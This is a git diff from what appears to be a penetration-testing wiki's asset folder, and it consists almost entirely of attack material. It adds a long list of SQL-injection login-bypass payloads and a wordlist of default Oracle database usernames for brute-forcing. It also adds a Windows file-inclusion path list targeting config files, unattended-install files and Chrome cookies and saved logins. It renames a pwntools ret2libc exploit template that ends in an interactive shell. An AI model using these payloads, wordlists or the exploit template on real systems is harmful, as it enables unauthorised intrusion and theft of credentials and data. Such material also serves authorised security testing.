+-3")oR(2)=2-- 2
+-3")oR(2)=2#
+-3")oR(2)=2/*
+-3)oR(2
+-3')oR(2)-- 2
+-3')oR(2)#
+-3')oR(2)/*
+-3")oR(2)-- 2
+-3")oR(2)#
+-3")oR(2)/*
+-3)oR(2)>(0
+-3')oR(2)>0-- 2
+-3')oR(2)>0#
+-3')oR(2)>0/*
+-3")oR(2)>0-- 2
+-3")oR(2)>0#
+-3")oR(2)>0/*
+-3)oR(0)<(2
+-3')oR(0)<2-- 2
+-3')oR(0)<2#
+-3')oR(0)<2/*
+-3")oR(0)<2-- 2
+-3")oR(0)<2#
+-3")oR(0)<2/*
+-3)oR(2)LIkE(2
+-3')oR(2)LIkE(2)-- 2
+-3')oR(2)LIkE(2)#
+-3')oR(2)LIkE(2)/*
+-3")oR(2)LIkE(2)-- 2
+-3")oR(2)LIkE(2)#
+-3")oR(2)LIkE(2)/*
+-3)oR'2'=('2'
+-3')oR'2'=('2
+-3")oR"2"=("2
+-3')oR(2)oR('
+-3')oR'2'oR('
+-3")oR(2)oR("
+-3")oR"2"oR("
+-3)oR(true
+-3')oR(true)-- 2
+-3')oR(true)#
+-3')oR(true)/*
+-3")oR(true)-- 2
+-3")oR(true)#
+-3")oR(true)/*
+-3')oR''+('2
+-3")oR""+("2
+-3')oR''-('-2
+-3")oR""-("-2
+-3')oR'2'&('2
+-3")oR"2"&("2
+-3')oR''^('2
+-3")oR""^("2
+-3')oR'2'*('2
+-3")oR"2"*("2
+-3')/**/oR/**/2/**/oR/**/('
+-3")/**/oR/**/2/**/oR/**/("
+-3)||2=(2
+-3')||2=2-- 2
+-3')||2=2#
+-3')||2=2/*
+-3")||2=2-- 2
+-3")||2=2#
+-3")||2=2/*
+-3)||(2
+-3')||2-- 2
+-3')||2#
+-3')||2/*
+-3")||2-- 2
+-3")||2#
+-3")||2/*
+-3||(2)LIkE(2
+-3')||(2)LIkE2-- 2
+-3')||(2)LIkE2#
+-3')||(2)LIkE2/*
+-3")||(2)LIkE2-- 2
+-3")||(2)LIkE2#
+-3")||(2)LIkE2/*
+-3)||'2'=('2'
+-3')||'2'=('2
+-3")||"2"=("2
+-3')||2||('
+-3')||'2'||('
+-3")||2||("
+-3")||"2"||("
+-3)||(true
+-3')||(true)-- 2
+-3')||(true)#
+-3')||(true)/*
+-3")||(true)-- 2
+-3")||(true)#
+-3")||(true)/*
+-3')||''+('2
+-3")||""+("2
+-3')||''-('-2
+-3")||""-("-2
+-3')||'2'&('2
+-3")||"2"&("2
+-3')||''^('2
+-3")||""^("2
+-3')||'2'*('2
+-3")||"2"*("2
+-3))oR(2)=((2
+-3'))oR(2)=2-- 2
+-3'))oR(2)=2#
+-3'))oR(2)=2/*
+-3"))oR(2)=2-- 2
+-3"))oR(2)=2#
+-3"))oR(2)=2/*
+-3))oR((2
+-3'))oR(2)-- 2
+-3'))oR(2)#
+-3'))oR(2)/*
+-3"))oR(2)-- 2
+-3"))oR(2)#
+-3"))oR(2)/*
+-3))oR(2)>((0
+-3'))oR(2)>0-- 2
+-3'))oR(2)>0#
+-3'))oR(2)>0/*
+-3"))oR(2)>0-- 2
+-3"))oR(2)>0#
+-3"))oR(2)>0/*
+-3))oR(0)<((2
+-3'))oR(0)<2-- 2
+-3'))oR(0)<2#
+-3'))oR(0)<2/*
+-3"))oR(0)<2-- 2
+-3"))oR(0)<2#
+-3"))oR(0)<2/*
+-3))oR(2)LIkE((2
+-3'))oR(2)LIkE(2)-- 2
+-3'))oR(2)LIkE(2)#
+-3'))oR(2)LIkE(2)/*
+-3"))oR(2)LIkE(2)-- 2
+-3"))oR(2)LIkE(2)#
+-3"))oR(2)LIkE(2)/*
+-3))oR'2'=(('2'
+-3'))oR'2'=(('2
+-3"))oR"2"=(("2
+-3'))oR(2)oR(('
+-3'))oR'2'oR(('
+-3"))oR(2)oR(("
+-3"))oR"2"oR(("
+-3))oR((true
+-3'))oR(true)-- 2
+-3'))oR(true)#
+-3'))oR(true)/*
+-3"))oR(true)-- 2
+-3"))oR(true)#
+-3"))oR(true)/*
+-3'))oR''+(('2
+-3"))oR""+(("2
+-3'))oR''-(('-2
+-3"))oR""-(("-2
+-3'))oR'2'&(('2
+-3"))oR"2"&(("2
+-3'))oR''^(('2
+-3"))oR""^(("2
+-3'))oR'2'*(('2
+-3"))oR"2"*(("2
+-3))||2=((2
+-3'))||2=2-- 2
+-3'))||2=2#
+-3'))||2=2/*
+-3"))||2=2-- 2
+-3"))||2=2#
+-3"))||2=2/*
+-3))||((2
+-3'))||2-- 2
+-3'))||2#
+-3'))||2/*
+-3"))||2-- 2
+-3"))||2#
+-3"))||2/*
+-3||(2)LIkE((2
+-3'))||(2)LIkE2-- 2
+-3'))||(2)LIkE2#
+-3'))||(2)LIkE2/*
+-3"))||(2)LIkE2-- 2
+-3"))||(2)LIkE2#
+-3"))||(2)LIkE2/*
+-3))||'2'=(('2'
+-3'))||'2'=(('2
+-3"))||"2"=(("2
+-3'))||2||(('
+-3'))||'2'||(('
+-3"))||2||(("
+-3"))||"2"||(("
+-3))||((true
+-3'))||(true)-- 2
+-3'))||(true)#
+-3'))||(true)/*
+-3"))||(true)-- 2
+-3"))||(true)#
+-3"))||(true)/*
+-3'))||''+(('2
+-3"))||""+(("2
+-3'))||''-(('-2
+-3"))||""-(("-2
+-3'))||'2'&(('2
+-3"))||"2"&(("2
+-3'))||''^(('2
+-3"))||""^(("2
+-3'))||'2'*(('2
+-3"))||"2"*(("2
\ No newline at end of file
diff --git a/.gitbook/assets/ssti-methodology-diagram.png b/.gitbook/assets/ssti-methodology-diagram.png
new file mode 100644
index 00000000000..90b57b2d9e8
Binary files /dev/null and b/.gitbook/assets/ssti-methodology-diagram.png differ
diff --git a/src/images/template.py b/.gitbook/assets/template.py
similarity index 91%
rename from src/images/template.py
rename to .gitbook/assets/template.py
index f26b4a8522b..8f889b5e158 100644
--- a/src/images/template.py
+++ b/.gitbook/assets/template.py
@@ -1,9 +1,9 @@
from pwn import * # Import pwntools
-###################
-### CONNECTION ####
-###################
+####################
+#### CONNECTION ####
+####################
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
@@ -36,9 +36,9 @@
gdb.attach(p.pid, "continue")
-###################
-### Find offset ###
-###################
+####################
+#### Find offset ###
+####################
OFFSET = "A"*40
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
@@ -51,9 +51,9 @@
exit()
-####################
-### Find Gadgets ###
-####################
+#####################
+#### Find Gadgets ###
+#####################
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@@ -93,9 +93,9 @@ def get_addr(func_name):
# this implies that in the future if you search for functions in libc, the resulting address
# will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS)
-################################
-## GET SHELL with known LIBC ###
-################################
+#################################
+### GET SHELL with known LIBC ###
+#################################
BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
@@ -108,5 +108,5 @@ def get_addr(func_name):
p.clean()
p.sendline(rop2)
-#### Interact with the shell #####
+##### Interact with the shell #####
p.interactive() #Interact with the conenction
\ No newline at end of file
diff --git a/.gitbook/assets/users-oracle.txt b/.gitbook/assets/users-oracle.txt
new file mode 100644
index 00000000000..f95874bec93
--- /dev/null
+++ b/.gitbook/assets/users-oracle.txt
@@ -0,0 +1,1369 @@
+AASH
+ABA1
+abm
+ABM
+adams
+ADAMS
+adldemo
+ADLDEMO
+admin
+ADMIN
+administrator
+ADMINISTRATOR
+AD_MONITOR
+ADS
+ADSEUL_US
+ahl
+AHL
+ahm
+AHM
+ak
+AK
+AL
+ALA1
+alhro
+ALHRO
+alhrw
+ALHRW
+ALLUSERS
+alr
+ALR
+AMA1
+AMA2
+AMA3
+AMA4
+AMF
+ams
+AMS
+AMS1
+AMS2
+AMS3
+AMS4
+AMSYS
+amv
+AMV
+AMW
+andy
+ANDY
+ANNE
+anonymous
+ANONYMOUS
+AOLDEMO
+ap
+AP
+APA1
+APA2
+APA3
+APA4
+APPLEAD
+applmgr
+APPLMGR
+applsys
+APPLSYS
+applsyspub
+APPLSYSPUB
+applysyspub
+APPLYSYSPUB
+apps
+APPS
+apps_mrc
+APPS_MRC
+appuser
+APPUSER
+APS1
+APS2
+APS3
+APS4
+aq
+AQ
+aqdemo
+AQDEMO
+aqjava
+AQJAVA
+aquser
+AQUSER
+ar
+AR
+ARA1
+ARA2
+ARA3
+ARA4
+ARS1
+ARS2
+ARS3
+ARS4
+ART
+asf
+ASF
+asg
+ASG
+asl
+ASL
+ASN
+aso
+ASO
+asp
+ASP
+ast
+AST
+atm
+ATM
+AUC_GUEST
+audiouser
+AUDIOUSER
+aurora$jis$utility$
+AURORA$JIS$UTILITY$
+aurora$orb$unauthenticated
+AURORA$ORB$UNAUTHENTICATED
+AUTHORIA
+ax
+AX
+az
+AZ
+B2B
+BAM
+bc4j
+BC4J
+BCA1
+BCA2
+ben
+BEN
+bic
+BIC
+bil
+BIL
+bim
+BIM
+bis
+BIS
+biv
+BIV
+bix
+BIX
+blake
+BLAKE
+blewis
+BLEWIS
+BMEADOWS
+BNE
+bom
+BOM
+BP01
+BP02
+BP03
+BP04
+BP05
+BP06
+brio_admin
+BRIO_ADMIN
+brugernavn
+BRUGERNAVN
+brukernavn
+BRUKERNAVN
+bsc
+BSC
+bug_reports
+BUG_REPORTS
+BUYACCT
+BUYAPPR1
+BUYAPPR2
+BUYAPPR3
+BUYER
+BUYMTCH
+calvin
+CALVIN
+CAMRON
+CANDICE
+CARL
+CARLY
+CARMEN
+CARRIECONYERS
+CATADMIN
+catalog
+CATALOG
+cct
+CCT
+cdemo82
+CDEMO82
+cdemocor
+CDEMOCOR
+cdemorid
+CDEMORID
+cdemoucb
+CDEMOUCB
+cdouglas
+CDOUGLAS
+ce
+CE
+CEASAR
+centra
+CENTRA
+central
+CENTRAL
+CFD
+CHANDRA
+CHARLEY
+CHRISBAKER
+CHRISTIE
+cids
+CIDS
+CINDY
+cis
+CIS
+cisinfo
+CISINFO
+clark
+CLARK
+CLAUDE
+CLINT
+CLN
+cn
+CN
+CNCADMIN
+company
+COMPANY
+compiere
+COMPIERE
+CONNIE
+CONNOR
+CORY
+cqschemauser
+CQSCHEMAUSER
+cquserdbuser
+CQUSERDBUSER
+CRM1
+CRM2
+crp
+CRP
+CRPB733
+CRPCTL
+CRPDTA
+cs
+CS
+CSADMIN
+CSAPPR1
+csc
+CSC
+csd
+CSD
+CSDUMMY
+cse
+CSE
+csf
+CSF
+csi
+CSI
+csl
+CSL
+CSM
+csmig
+CSMIG
+csp
+CSP
+csr
+CSR
+css
+CSS
+ctxdemo
+CTXDEMO
+ctxsys
+CTXSYS
+CTXTEST
+cua
+CUA
+cue
+CUE
+cuf
+CUF
+cug
+CUG
+cui
+CUI
+cun
+CUN
+cup
+CUP
+cus
+CUS
+cz
+CZ
+data_schema
+DATA_SCHEMA
+DAVIDMORGAN
+dbi
+DBI
+dbsnmp
+DBSNMP
+dbvision
+DBVISION
+DCM
+DD7333
+DD7334
+DD810
+DD811
+DD812
+DD9
+DDB733
+DDD
+ddic
+DDIC
+demo
+DEMO
+demo8
+DEMO8
+demo9
+DEMO9
+des
+DES
+des2k
+DES2K
+dev2000_demos
+DEV2000_DEMOS
+DEVB733
+DEVUSER
+DGRAY
+diane
+DIANE
+dip
+DIP
+DISCOVERER5
+discoverer_admin
+DISCOVERER_ADMIN
+DKING
+DLD
+DMADMIN
+DMATS
+DMS
+dmsys
+DMSYS
+DOM
+dpf
+DPF
+DPOND
+dsgateway
+DSGATEWAY
+dssys
+DSSYS
+dtsp
+DTSP
+DV7333
+DV7334
+DV810
+DV811
+DV812
+DV9
+DVP1
+eaa
+EAA
+eam
+EAM
+earlywatch
+EARLYWATCH
+east
+EAST
+ec
+EC
+ecx
+ECX
+EDR
+EDWEUL_US
+EDWREP
+EGC1
+EGD1
+EGM1
+EGO
+EGR1
+ejb
+EJB
+ejsadmin
+EJSADMIN
+emp
+EMP
+END1
+eng
+ENG
+eni
+ENI
+ENM1
+ENS1
+ENTMGR_CUST
+ENTMGR_PRO
+ENTMGR_TRAIN
+EOPP_PORTALADM
+EOPP_PORTALMGR
+EOPP_USER
+estoreuser
+ESTOREUSER
+EUL_US
+event
+EVENT
+evm
+EVM
+EXA1
+EXA2
+EXA3
+EXA4
+example
+EXAMPLE
+exfsys
+EXFSYS
+EXS1
+EXS2
+EXS3
+EXS4
+extdemo
+EXTDEMO
+extdemo2
+EXTDEMO2
+fa
+FA
+fem
+FEM
+FIA1
+fii
+FII
+finance
+FINANCE
+finprod
+FINPROD
+flm
+FLM
+fnd
+FND
+FNI1
+FNI2
+foo
+FOO
+FPA
+fpt
+FPT
+frm
+FRM
+frosty
+FROSTY
+FTA1
+fte
+FTE
+FUN
+fv
+FV
+FVP1
+GALLEN
+GCA1
+GCA2
+GCA3
+GCA9
+GCMGR1
+GCMGR2
+GCMGR3
+GCS
+GCS1
+GCS2
+GCS3
+GEORGIAWINE
+gl
+GL
+GLA1
+GLA2
+GLA3
+GLA4
+GLS1
+GLS2
+GLS3
+GLS4
+gma
+GMA
+GM_AWDA
+GM_COPI
+gmd
+GMD
+GM_DPHD
+gme
+GME
+gmf
+GMF
+gmi
+GMI
+gml
+GML
+GM_MLCT
+gmp
+GMP
+GM_PLADMA
+GM_PLADMH
+GM_PLCCA
+GM_PLCCH
+GM_PLCOMA
+GM_PLCOMH
+GM_PLCONA
+GM_PLCONH
+GM_PLNSCA
+GM_PLNSCH
+GM_PLSCTA
+GM_PLSCTH
+GM_PLVET
+gms
+GMS
+GM_SPO
+GM_STKH
+gpfd
+GPFD
+gpld
+GPLD
+gr
+GR
+GUEST
+hades
+HADES
+HCC
+hcpark
+HCPARK
+HHCFO
+hlw
+HLW
+hr
+HR
+hri
+HRI
+hvst
+HVST
+hxc
+HXC
+hxt
+HXT
+IA
+iba
+IBA
+IBC
+ibe
+IBE
+ibp
+IBP
+ibu
+IBU
+iby
+IBY
+icdbown
+ICDBOWN
+icx
+ICX
+idemo_user
+IDEMO_USER
+ieb
+IEB
+iec
+IEC
+iem
+IEM
+ieo
+IEO
+ies
+IES
+ieu
+IEU
+iex
+IEX
+ifssys
+IFSSYS
+igc
+IGC
+igf
+IGF
+igi
+IGI
+igs
+IGS
+igw
+IGW
+imageuser
+IMAGEUSER
+imc
+IMC
+imedia
+IMEDIA
+imt
+IMT
+INS1
+INS2
+#internal
+internal
+#INTERNAL
+INTERNAL
+inv
+INV
+IP
+ipa
+IPA
+ipd
+IPD
+iplanet
+IPLANET
+isc
+ISC
+ISTEWARD
+itg
+ITG
+ja
+JA
+jake
+JAKE
+JD7333
+JD7334
+JD9
+JDE
+JDEDBA
+je
+JE
+jg
+JG
+jill
+JILL
+jl
+JL
+JL
+jmuser
+JMUSER
+john
+JOHN
+JOHNINARI
+jones
+JONES
+jtf
+JTF
+JTI
+jtm
+JTM
+JTR
+jts
+JTS
+JUNK_PS
+JUSTOSHUM
+jward
+JWARD
+KELLYJONES
+KEVINDONS
+KPN
+kwalker
+KWALKER
+l2ldemo
+L2LDEMO
+LADAMS
+LBA
+lbacsys
+LBACSYS
+LDQUAL
+LHILL
+librarian
+LIBRARIAN
+LNS
+LQUINCY
+LSA
+manprod
+MANPROD
+mark
+MARK
+mascarm
+MASCARM
+master
+MASTER
+mddata
+MDDATA
+mddemo
+MDDEMO
+mddemo_clerk
+MDDEMO_CLERK
+mddemo_mgr
+MDDEMO_MGR
+mdsys
+MDSYS
+me
+ME
+mfg
+MFG
+mgr
+MGR
+MGR1
+MGR2
+MGR3
+MGR4
+mgwuser
+MGWUSER
+migrate
+MIGRATE
+MIKEIKEGAMI
+miller
+MILLER
+MJONES
+MLAKE
+MM1
+MM2
+MM3
+MM4
+MM5
+MMARTIN
+mmo2
+MMO2
+MOBILEADMIN
+modtest
+MODTEST
+moreau
+MOREAU
+mrp
+MRP
+msc
+MSC
+msd
+MSD
+mso
+MSO
+msr
+MSR
+MST
+mtssys
+MTSSYS
+mts_user
+MTS_USER
+mwa
+MWA
+mxagent
+MXAGENT
+names
+NAMES
+NEILKATSU
+neotix_sys
+NEOTIX_SYS
+nneul
+NNEUL
+nomeutente
+NOMEUTENTE
+nome_utilizador
+NOME_UTILIZADOR
+nom_utilisateur
+NOM_UTILISATEUR
+nume_utilizator
+NUME_UTILIZATOR
+oas_public
+OAS_PUBLIC
+OBJ7333
+OBJ7334
+OBJB733
+OCA
+ocitest
+OCITEST
+ocm_db_admin
+OCM_DB_ADMIN
+odm
+ODM
+odm_mtr
+ODM_MTR
+ods
+ODS
+odscommon
+ODSCOMMON
+ods_server
+ODS_SERVER
+oe
+OE
+oemadm
+OEMADM
+oemrep
+OEMREP
+okb
+OKB
+okc
+OKC
+oke
+OKE
+oki
+OKI
+OKL
+oko
+OKO
+okr
+OKR
+oks
+OKS
+okx
+OKX
+OL810
+OL811
+OL812
+OL9
+olapdba
+OLAPDBA
+olapsvr
+OLAPSVR
+olapsys
+OLAPSYS
+omwb_emulation
+OMWB_EMULATION
+ont
+ONT
+oo
+OO
+openspirit
+OPENSPIRIT
+opi
+OPI
+ORABAM
+ORABAMSAMPLES
+ORABPEL
+oracache
+ORACACHE
+oracle
+ORACLE
+oradba
+ORADBA
+ORAESB
+ORAOCA_PUBLIC
+oraprobe
+ORAPROBE
+oraregsys
+ORAREGSYS
+ORASAGENT
+orasso
+ORASSO
+orasso_ds
+ORASSO_DS
+orasso_pa
+ORASSO_PA
+orasso_ps
+ORASSO_PS
+orasso_public
+ORASSO_PUBLIC
+orastat
+ORASTAT
+orcladmin
+ORCLADMIN
+ordcommon
+ORDCOMMON
+ordplugins
+ORDPLUGINS
+ordsys
+ORDSYS
+ose$http$admin
+OSE$HTTP$ADMIN
+osm
+OSM
+osp22
+OSP22
+ota
+OTA
+outln
+OUTLN
+owa
+OWA
+OWAPUB
+owa_public
+OWA_PUBLIC
+owf_mgr
+OWF_MGR
+owner
+OWNER
+ozf
+OZF
+ozp
+OZP
+ozs
+OZS
+pa
+PA
+PABLO
+PAIGE
+PAM
+panama
+PANAMA
+PARRISH
+PARSON
+PAT
+PATORILY
+PATRICKSANCHEZ
+patrol
+PATROL
+PATSY
+paul
+PAUL
+PAULA
+PAXTON
+PCA1
+PCA2
+PCA3
+PCA4
+PCS1
+PCS2
+PCS3
+PCS4
+PD7333
+PD7334
+PD810
+PD811
+PD812
+PD9
+PDA1
+PEARL
+PEG
+PENNY
+PEOPLE
+PERCY
+perfstat
+PERFSTAT
+PERRY
+perstat
+PERSTAT
+PETE
+PEYTON
+PHIL
+PJI
+pjm
+PJM
+planning
+PLANNING
+plex
+PLEX
+plsql
+PLSQL
+pm
+PM
+pmi
+PMI
+pn
+PN
+po
+PO
+po7
+PO7
+po8
+PO8
+poa
+POA
+POLLY
+pom
+POM
+PON
+PORTAL
+portal30
+PORTAL30
+portal30_admin
+PORTAL30_ADMIN
+portal30_demo
+PORTAL30_DEMO
+portal30_ps
+PORTAL30_PS
+portal30_public
+PORTAL30_PUBLIC
+portal30_sso
+PORTAL30_SSO
+portal30_sso_admin
+PORTAL30_SSO_ADMIN
+portal30_sso_ps
+PORTAL30_SSO_PS
+portal30_sso_public
+PORTAL30_SSO_PUBLIC
+PORTAL_APP
+portal_demo
+PORTAL_DEMO
+PORTAL_PUBLIC
+portal_sso_ps
+PORTAL_SSO_PS
+pos
+POS
+powercartuser
+POWERCARTUSER
+PPM1
+PPM2
+PPM3
+PPM4
+PPM5
+primary
+PRIMARY
+PRISTB733
+PRISTCTL
+PRISTDTA
+PRODB733
+PRODCTL
+PRODDTA
+PRODUSER
+PROJMFG
+PRP
+PS
+PS810
+PS810CTL
+PS810DTA
+PS811
+PS811CTL
+PS811DTA
+PS812
+PS812CTL
+PS812DTA
+psa
+PSA
+psb
+PSB
+PSBASS
+PSEM
+PSFT
+PSFTDBA
+psp
+PSP
+PTADMIN
+PTCNE
+PTDMO
+PTE
+PTESP
+PTFRA
+PTG
+PTGER
+PTJPN
+PTUKE
+PTUPG
+PTWEB
+PTWEBSERVER
+pubsub
+PUBSUB
+pubsub1
+PUBSUB1
+pv
+PV
+PY7333
+PY7334
+PY810
+PY811
+PY812
+PY9
+qa
+QA
+qdba
+QDBA
+QOT
+qp
+QP
+QRM
+qs
+QS
+qs_adm
+QS_ADM
+qs_cb
+QS_CB
+qs_cbadm
+QS_CBADM
+qs_cs
+QS_CS
+qs_es
+QS_ES
+qs_os
+QS_OS
+qs_ws
+QS_WS
+re
+RE
+RENE
+repadmin
+REPADMIN
+rep_manager
+REP_MANAGER
+reports
+REPORTS
+reports_user
+REPORTS_USER
+rep_owner
+REP_OWNER
+rep_user
+REP_USER
+RESTRICTED_US
+rg
+RG
+rhx
+RHX
+rla
+RLA
+rlm
+RLM
+RM1
+RM2
+RM3
+RM4
+RM5
+rmail
+RMAIL
+rman
+RMAN
+ROB
+RPARKER
+rrs
+RRS
+RWA1
+SALLYH
+SAM
+sample
+SAMPLE
+sap
+SAP
+sapr3
+SAPR3
+SARAHMANDY
+SCM1
+SCM2
+SCM3
+SCM4
+scott
+SCOTT
+SDAVIS
+sdos_icsap
+SDOS_ICSAP
+secdemo
+SECDEMO
+SEDWARDS
+SELLCM
+SELLER
+SELLTREAS
+serviceconsumer1
+SERVICECONSUMER1
+SERVICES
+SETUP
+sh
+SH
+SID
+si_informtn_schema
+SI_INFORMTN_SCHEMA
+siteminder
+SITEMINDER
+SKAYE
+SKYTETSUKA
+slide
+SLIDE
+SLSAA
+SLSMGR
+SLSREP
+spierson
+SPIERSON
+SRABBITT
+SRALPHS
+SRAY
+SRIVERS
+SSA1
+SSA2
+SSA3
+SSC1
+SSC2
+SSC3
+SSOSDK
+ssp
+SSP
+SSS1
+starter
+STARTER
+strat_user
+STRAT_USER
+SUPPLIER
+SVM7333
+SVM7334
+SVM810
+SVM811
+SVM812
+SVM9
+SVMB733
+SVP1
+swpro
+SWPRO
+swuser
+SWUSER
+SY810
+SY811
+SY812
+SY9
+sympa
+SYMPA
+sys
+SYS
+SYS7333
+SYS7334
+sysadm
+SYSADM
+sysadmin
+SYSADMIN
+SYSB733
+sysman
+SYSMAN
+system
+SYSTEM
+tahiti
+TAHITI
+talbot
+TALBOT
+TDEMARCO
+tdos_icsap
+TDOS_ICSAP
+tec
+TEC
+test
+TEST
+TESTCTL
+TESTDTA
+testpilot
+TESTPILOT
+test_user
+TEST_USER
+thinsample
+THINSAMPLE
+tibco
+TIBCO
+tip37
+TIP37
+TRA1
+tracesvr
+TRACESVR
+travel
+TRAVEL
+TRBM1
+TRCM1
+TRDM1
+TRRM1
+tsdev
+TSDEV
+tsuser
+TSUSER
+turbine
+TURBINE
+TWILLIAMS
+UDDISYS
+ultimate
+ULTIMATE
+um_admin
+UM_ADMIN
+um_client
+UM_CLIENT
+user
+USER
+user0
+USER0
+user1
+USER1
+user2
+USER2
+user3
+USER3
+user4
+USER4
+user5
+USER5
+user6
+USER6
+user7
+USER7
+user8
+USER8
+user9
+USER9
+user_name
+USER_NAME
+usuario
+USUARIO
+utility
+UTILITY
+utlbstatu
+UTLBSTATU
+vea
+VEA
+veh
+VEH
+vertex_login
+VERTEX_LOGIN
+VIDEO31
+VIDEO4
+VIDEO5
+videouser
+VIDEOUSER
+vif_developer
+VIF_DEVELOPER
+viruser
+VIRUSER
+VP1
+VP2
+VP3
+VP4
+VP5
+VP6
+vpd_admin
+VPD_ADMIN
+vrr1
+VRR1
+WAA1
+WAA2
+WCRSYS
+webcal01
+WEBCAL01
+webdb
+WEBDB
+webread
+WEBREAD
+websys
+WEBSYS
+webuser
+WEBUSER
+WENDYCHO
+west
+WEST
+wfadmin
+WFADMIN
+wh
+WH
+wip
+WIP
+WIRELESS
+wkadmin
+WKADMIN
+wkproxy
+WKPROXY
+wksys
+WKSYS
+wk_test
+WK_TEST
+wkuser
+WKUSER
+wms
+WMS
+wmsys
+WMSYS
+wob
+WOB
+wps
+WPS
+wsh
+WSH
+wsm
+WSM
+www
+WWW
+wwwuser
+WWWUSER
+xademo
+XADEMO
+xdb
+XDB
+XDO
+xdp
+XDP
+xla
+XLA
+XLE
+XNB
+xnc
+XNC
+xni
+XNI
+xnm
+XNM
+xnp
+XNP
+xns
+XNS
+xprt
+XPRT
+xtr
+XTR
+YCAMPOS
+YSANCHEZ
+ZFA
+ZPB
+ZSA
+ZX
diff --git a/src/files/vncpwd.zip b/.gitbook/assets/vncpwd.zip
similarity index 100%
rename from src/files/vncpwd.zip
rename to .gitbook/assets/vncpwd.zip
diff --git a/src/files/vpnIDs.txt b/.gitbook/assets/vpnids.txt
similarity index 100%
rename from src/files/vpnIDs.txt
rename to .gitbook/assets/vpnids.txt
diff --git a/.gitbook/assets/winlfi.txt b/.gitbook/assets/winlfi.txt
new file mode 100644
index 00000000000..bd0b3746c44
--- /dev/null
+++ b/.gitbook/assets/winlfi.txt
@@ -0,0 +1,218 @@
+C:/$recycle.bin/s-1-5-18/desktop.ini
+C:/apache2/log/access.log
+C:/apache2/log/access_log
+C:/apache2/log/error.log
+C:/apache2/log/error_log
+C:/apache2/logs/access.log
+C:/apache2/logs/access_log
+C:/apache2/logs/error.log
+C:/apache2/logs/error_log
+C:/apache/log/access.log
+C:/apache/log/access_log
+C:/apache/log/error.log
+C:/apache/log/error_log
+C:/apache/logs/access.log
+C:/apache/logs/access_log
+C:/apache/logs/error.log
+C:/apache/logs/error_log
+C:/apache/php/php.ini
+C:/boot.ini
+C:/documents and settings/administrator/desktop/desktop.ini
+C:/documents and settings/administrator/ntuser.dat
+C:/documents and settings/administrator/ntuser.ini
+C:/home2/bin/stable/apache/php.ini
+C:/home/bin/stable/apache/php.ini
+C:/inetpub/logs/logfiles
+C:/inetpub/wwwroot/global.asa
+C:/inetpub/wwwroot/index.asp
+C:/inetpub/wwwroot/web.config
+C:/log/access.log
+C:/log/access_log
+C:/log/error.log
+C:/log/error_log
+C:/log/httpd/access_log
+C:/log/httpd/error_log
+C:/logs/access.log
+C:/logs/access_log
+C:/logs/error.log
+C:/logs/error_log
+C:/logs/httpd/access_log
+C:/logs/httpd/error_log
+C:/MININT/SMSOSD/OSDLOGS/VARIABLES.DAT
+C:/mysql/bin/my.ini
+C:/mysql/data/hostname.err
+C:/mysql/data/mysql.err
+C:/mysql/data/mysql.log
+C:/mysql/my.cnf
+C:/mysql/my.ini
+C:/opt/xampp/logs/access.log
+C:/opt/xampp/logs/access_log
+C:/opt/xampp/logs/error.log
+C:/opt/xampp/logs/error_log
+C:/php4/php.ini
+C:/php4/sessions/
+C:/php5/php.ini
+C:/php5/sessions/
+C:/php/php.ini
+C:/php/sessions/
+C:/programdata/mcafee/common framework/sitelist.xml
+C:/program files/apache group/apache2/conf/httpd.conf
+C:/program files/apache group/apache/conf/access.log
+C:/program files/apache group/apache/conf/error.log
+C:/program files/apache group/apache/conf/httpd.conf
+C:/program files/apache group/apache/logs/access.log
+C:/program files/apache group/apache/logs/error.log
+C:/program files/filezilla server/filezilla server.xml
+C:/program files/mysql/data/hostname.err
+C:/program files/mysql/data/mysql-bin.log
+C:/program files/mysql/data/mysql.err
+C:/program files/mysql/data/mysql.log
+C:/program files/mysql/my.cnf
+C:/program files/mysql/my.ini
+C:/program files/mysql/mysql server 5.0/data/hostname.err
+C:/program files/mysql/mysql server 5.0/data/mysql-bin.log
+C:/program files/mysql/mysql server 5.0/data/mysql.err
+C:/program files/mysql/mysql server 5.0/data/mysql.log
+C:/program files/mysql/mysql server 5.0/my.cnf
+C:/program files/mysql/mysql server 5.0/my.ini
+C:/program files/mysql/mysql server 5.1/my.ini
+C:/program files (x86)/apache group/apache2/conf/httpd.conf
+C:/program files (x86)/apache group/apache/conf/access.log
+C:/program files (x86)/apache group/apache/conf/error.log
+C:/program files (x86)/apache group/apache/conf/httpd.conf
+C:/program files (x86)/apache group/apache/logs/access.log
+C:/program files (x86)/apache group/apache/logs/error.log
+C:/program files (x86)/filezilla server/filezilla server.xml
+C:/program files (x86)/mysql/data/hostname.err
+C:/program files (x86)/mysql/data/mysql-bin.log
+C:/program files (x86)/mysql/data/mysql.err
+C:/program files (x86)/mysql/data/mysql.log
+C:/program files (x86)/mysql/my.cnf
+C:/program files (x86)/mysql/my.ini
+C:/program files (x86)/mysql/mysql server 5.0/data/hostname.err
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql-bin.log
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql.err
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql.log
+C:/program files (x86)/mysql/mysql server 5.0/my.cnf
+C:/program files (x86)/mysql/mysql server 5.0/my.ini
+C:/program files (x86)/mysql/mysql server 5.1/my.ini
+C:/program files (x86)/xampp/apache/conf/httpd.conf
+C:/program files/xampp/apache/conf/httpd.conf
+C:/sysprep.inf
+C:/sysprep/sysprep.inf
+C:/sysprep/sysprep.xml
+C:/sysprep.xml
+C:/system32/inetsrv/metabase.xml
+C:/system volume information/wpsettings.dat
+C:/unattended.txt
+C:/unattended.xml
+C:/unattend.txt
+C:/unattend.xml
+C:/users/administrator/appdata/local/google/chrome/user data/default/bookmarks
+C:/users/administrator/appdata/local/google/chrome/user data/default/bookmarks.bak
+C:/users/administrator/appdata/local/google/chrome/user data/default/cookies
+C:/users/administrator/appdata/local/google/chrome/user data/default/history
+C:/users/administrator/appdata/local/google/chrome/user data/default/last session
+C:/users/administrator/appdata/local/google/chrome/user data/default/login data
